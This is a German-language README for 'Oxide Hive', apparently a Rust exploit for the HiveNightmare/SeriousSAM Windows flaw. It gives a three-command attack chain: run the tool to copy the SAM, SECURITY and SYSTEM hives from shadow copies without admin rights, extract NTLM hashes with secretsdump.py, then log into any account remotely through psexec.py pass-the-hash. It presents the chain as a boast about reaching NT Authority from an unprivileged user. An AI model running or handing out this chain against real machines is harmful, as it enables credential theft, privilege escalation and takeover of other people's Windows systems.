Oxide Hive

Ein Exploit für die HiveNightmare/SeriousSAM-Sicherheitslücke, mit dem du Registry-Hives mit sensiblen Daten ohne Administratorrechte lesen kannst. Wenn das nicht nach Privilegienerweiterung klingt, dann weiß ich auch nicht.

Verwendung

Nachdem du den Exploit mit cargo build erstellt und die Binärdatei erhalten hast, setze ihn in deiner Testumgebung ein, öffne CMD und führe .\oxide_hive [max shadow copies] aus. Der Standardwert für Schattenkopien ist 15. Die Hives SAM, SECURITY und SYSTEM sollten in das Arbeitsverzeichnis gespeichert werden.

Ab dann kannst du dieses Skript mit dem Befehl secretsdump.py -sam SAM.dump -security SECURITY.dump -system SYSTEM.dump local verwenden, um die NTLM-Hashes abzurufen. Danach kannst du ein weiteres Skript mit dem Befehl psexec.py -hashes <account's hash> <user>@<machine's ip> cmd.exe verwenden, um dich remote in jedes Konto einzuloggen. Glückwunsch, du bist gerade mit nur 3 Befehlen von einem unprivilegierten Benutzer zu NT Authority aufgestiegen.

Danksagungen

• @jonasLyk, die Person, die die Sicherheitslücke entdeckt hat
• @GossiTheDog, der Ersteller des ursprünglichen Exploits, von dem ich mich inspirieren ließ